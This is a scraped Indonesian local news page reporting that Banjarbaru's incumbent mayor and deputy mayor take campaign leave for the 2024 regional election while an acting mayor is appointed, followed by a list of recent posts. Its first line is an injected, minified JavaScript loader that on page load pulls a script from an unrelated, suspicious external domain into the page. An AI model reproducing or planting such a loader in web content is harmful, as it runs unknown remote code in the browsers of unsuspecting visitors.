(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Petahana Mulai Cuti 25 September, Banjarbaru akan Dipimpin Pjs Wali Kota


KANALKALIMANTAN.COM, BANJARBARU – Kedua bakal pasangan calon (Bapaslon) wali kota dan wakil wali kota Banjarbaru dinyatakan memenuhi syarat untuk bisa melanjutkan tahapan dalam Pemilihan Kepala Daerah (Pilkada) Serentak 2024.

Di Kota Banjarbaru, Wali Kota Aditya Mufti Ariffin dan Wakil Wali Kota Wartono yang maju sebagai calon kepala daerah harus mengambil cuti untuk pelaksanaan kampanye Pilkada 2024.

Ketua KPU Kota Banjarbaru, Dahtiar mengatakan bahwa pihaknya sudah menerima surat resmi dari Gubernur Kalimantan Selatan yang memberikan cuti kepada petahana Aditya Mufti Ariffin dan Wartono.

Baca juga: KPU Banjarbaru: Dua Bapaslon Memenuhi Syarat

Ketua KPU Kota Banjarbaru, Dahtiar. Foto: wanda

Baca juga: Bawaslu Kalsel Buka Seleksi Ribuan PTPS Awasi Pemungutan Suara

“Kami sudah menerima surat resmi dari Gubernur yang menyatakan memberikan cuti untuk kampanye kepada Aditya Mufti Ariffin dan Wartono,” ujar Dahtiar, Sabtu (14/9/2024) siang.

Adapun surat pemberian cuti itu diterima oleh KPU Banjarbaru sebanyak dua surat yang menyatakan bahwa bersangkutan cuti per tanggal 25 September-23 November 2024.

“Jadi ada dua surat yang kita terima, cutinya dari tanggal 25 September-23 November 2024,” sebut dia.

Selanjutnya Kota Banjarbaru bakal dipimpin oleh seorang Penjabat Sementara atau Pjs untuk mengisi kekosongan jabatan Wali Kota dan Wakil Wali Kota.

Baca juga: Pengawasan Partisipatif Kawal Pilkada Menyasar Mahasiswa UIN Antasari

Hal itu dipastikan oleh Wali Kota Banjarbaru Aditya Mufti Ariffin saat dikonfirmasi beberapa waktu lalu.

“Tanggal 25 September sudah mulai cuti. Untuk mengisi kekosongan jabatan akan diisi Pjs Wali Kota yang akan ditunjuk oleh pemerintah provinsi,” ungkap Aditya Mufti Ariffin.

Sosok Pjs Wali Kota bakal ditunjuk langsung oleh Gubernur Kalsel Sahbirin Noor atas persetujuan Kementerian Dalam Negeri (Kemendagri). (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Hari Kesehatan Sedunia 2025: Awal yang Sehat, Masa Depan Penuh Harapan

KANALKALIMANTAN.COM - Hari Kesehatan Sedunia yang dirayakan pada 7 April 2025 memulai kampanye sepanjang tahun… Read More

1 jam ago

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

23 jam ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

2 hari ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

2 hari ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

2 hari ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

2 hari ago

This website uses cookies.